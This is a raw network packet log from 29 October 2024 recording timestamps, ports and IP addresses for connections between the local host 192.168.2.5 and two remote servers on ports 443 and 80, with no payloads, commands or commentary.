Oct 29, 2024 05:02:16.139267921 CET	49705	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:16.139267921 CET	49705	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:16.139292002 CET	443	49705	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:16.139348984 CET	49705	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:16.227055073 CET	443	49705	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:16.227118969 CET	443	49705	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:16.227144003 CET	49705	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:16.227164030 CET	443	49705	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:16.227217913 CET	49705	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:16.227217913 CET	49705	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:16.258615017 CET	443	49705	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:16.258677959 CET	443	49705	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:16.258704901 CET	49705	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:16.258721113 CET	443	49705	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:16.258786917 CET	49705	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:16.258786917 CET	49705	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:16.301963091 CET	443	49705	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:16.302067041 CET	49705	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:16.302090883 CET	443	49705	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:16.302146912 CET	49705	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:16.302176952 CET	443	49705	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:16.302234888 CET	49705	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:16.302544117 CET	49705	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:16.302577972 CET	443	49705	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:17.033684969 CET	49704	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:17.033992052 CET	49706	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:17.039287090 CET	80	49706	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:17.039390087 CET	49706	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:17.039423943 CET	80	49704	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:17.039470911 CET	49704	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:17.039527893 CET	49706	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:17.044795036 CET	80	49706	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:17.958849907 CET	80	49706	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:17.959073067 CET	49706	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:17.960604906 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:17.960711002 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:17.960810900 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:17.961349010 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:17.961385965 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:18.583071947 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:18.583180904 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:18.583698034 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:18.583717108 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:18.585354090 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:18.585382938 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:18.796155930 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:18.796293020 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:18.796335936 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:18.796380997 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:18.796410084 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:18.796432972 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:18.796444893 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:18.796503067 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:18.796531916 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:18.796600103 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:18.796611071 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:18.796659946 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:18.796677113 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:18.796731949 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:18.796791077 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:18.796854973 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:18.796875000 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:18.796926975 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:18.796962023 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:18.797013044 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:18.797044039 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:18.797095060 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:18.914961100 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:18.915040970 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:18.915072918 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:18.915132999 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:18.915170908 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:18.915225029 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:18.915260077 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:18.915309906 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:18.915385962 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:18.915440083 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:18.915477037 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:18.915529966 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:18.915868044 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:18.915930986 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:18.915961981 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:18.916019917 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:18.916050911 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:18.916109085 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:18.916441917 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:18.916503906 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:19.034061909 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:19.034161091 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:19.034197092 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:19.034260988 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:19.034275055 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:19.034338951 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:19.034351110 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:19.034404993 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:19.034415960 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:19.034470081 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:19.034481049 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:19.034537077 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:19.035038948 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:19.035094023 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:19.035128117 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:19.035195112 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:19.075283051 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:19.075411081 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:19.075429916 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:19.075495958 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:19.075510025 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:19.075598001 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:19.075611115 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:19.075670958 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:19.153031111 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:19.153155088 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:19.153187990 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:19.153254986 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:19.153266907 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:19.153312922 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:19.153327942 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:19.153378010 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:19.153418064 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:19.153471947 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:19.153518915 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:19.153570890 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:19.153955936 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:19.154012918 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:19.154047012 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:19.154098988 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:19.194524050 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:19.194613934 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:19.272326946 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:19.272413015 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:19.272438049 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:19.272496939 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:19.272536039 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:19.272594929 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:19.273138046 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:19.273250103 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:19.313503027 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:19.313590050 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:19.391345024 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:19.391398907 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:19.391413927 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:19.391467094 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:19.391500950 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:19.391526937 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:19.391588926 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:19.391644955 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:19.432399988 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:19.432466984 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:19.510668993 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:19.510776043 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:19.510799885 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:19.510832071 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:19.510880947 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:19.510881901 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:19.511240005 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:19.511326075 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:19.511436939 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:19.511509895 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:19.551898003 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:19.552002907 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:19.630474091 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:19.630573034 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:19.630599022 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:19.630660057 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:19.630954027 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:19.631032944 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:19.671514988 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:19.671597958 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:19.671617985 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:19.671688080 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:19.748655081 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:19.748765945 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:19.749295950 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:19.749367952 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:19.749577045 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:19.749646902 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:19.789882898 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:19.789985895 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:19.867847919 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:19.867933035 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:19.868005037 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:19.868067980 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:19.868619919 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:19.868691921 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:19.868733883 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:19.868798971 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:19.910073996 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:19.910181999 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:19.986773968 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:19.986861944 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:19.987047911 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:19.987103939 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:19.987174034 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:19.987230062 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:19.988004923 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:19.988066912 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:20.028160095 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:20.028253078 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:20.028304100 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:20.028378963 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:20.106084108 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:20.106157064 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:20.106443882 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:20.106514931 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:20.106585979 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:20.106657028 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:20.107382059 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:20.107450008 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:20.147440910 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:20.147535086 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:20.225565910 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:20.225645065 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:20.266170979 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:20.266182899 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:20.266246080 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:20.266279936 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:20.266341925 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:20.344952106 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:20.345016956 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:20.345026016 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:20.345040083 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:20.345067978 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:20.345078945 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:20.385538101 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:20.385569096 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:20.385612011 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:20.385628939 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:20.385670900 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:20.385670900 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:20.464663029 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:20.464721918 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:20.464750051 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:20.464767933 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:20.464797974 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:20.464822054 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:20.583082914 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:20.583107948 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:20.583151102 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:20.583170891 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:20.583221912 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:20.583241940 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:20.623955965 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:20.624002934 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:20.624030113 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:20.624073982 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:20.624090910 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:20.624146938 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:20.702552080 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:20.702599049 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:20.702635050 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:20.702645063 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:20.702673912 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:20.702692032 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:20.743232965 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:20.743294001 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:20.743319988 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:20.743330002 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:20.743354082 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:20.743367910 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:20.822016001 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:20.822067022 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:20.822107077 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:20.822125912 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:20.822154045 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:20.822174072 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:21.053086996 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:21.053114891 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:21.053177118 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:21.053205967 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:21.053226948 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:21.053256989 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:21.053281069 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:21.053607941 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:21.053653002 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:21.053693056 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:21.053706884 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:21.053730965 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:21.053750992 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:21.054102898 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:21.054148912 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:21.054342985 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:21.054358959 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:21.054409981 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:21.060800076 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:21.060843945 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:21.060884953 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:21.060899019 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:21.060925007 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:21.060944080 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:21.101264954 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:21.101308107 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:21.101347923 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:21.101356030 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:21.101383924 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:21.101399899 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:21.179599047 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:21.179624081 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:21.179706097 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:21.179743052 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:21.179802895 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:21.220056057 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:21.220101118 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:21.220144033 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:21.220159054 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:21.220191002 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:21.220210075 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:21.298669100 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:21.298713923 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:21.298759937 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:21.298770905 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:21.298800945 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:21.298819065 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:21.338803053 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:21.338921070 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:21.338948011 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:21.338957071 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:21.339004993 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:21.339016914 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:21.417402029 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:21.417449951 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:21.417479038 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:21.417494059 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:21.417521000 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:21.417538881 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:21.457405090 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:21.457451105 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:21.457489967 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:21.457505941 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:21.457534075 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:21.457556963 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:21.458542109 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:21.458584070 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:21.458614111 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:21.458626986 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:21.458662033 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:21.458683014 CET	49707	443	192.168.2.5	162.159.134.233
Oct 29, 2024 05:02:21.537724972 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:21.537767887 CET	443	49707	162.159.134.233	192.168.2.5
Oct 29, 2024 05:02:21.537797928 CET	49707	443	192.168.2.5	162.159.134.233
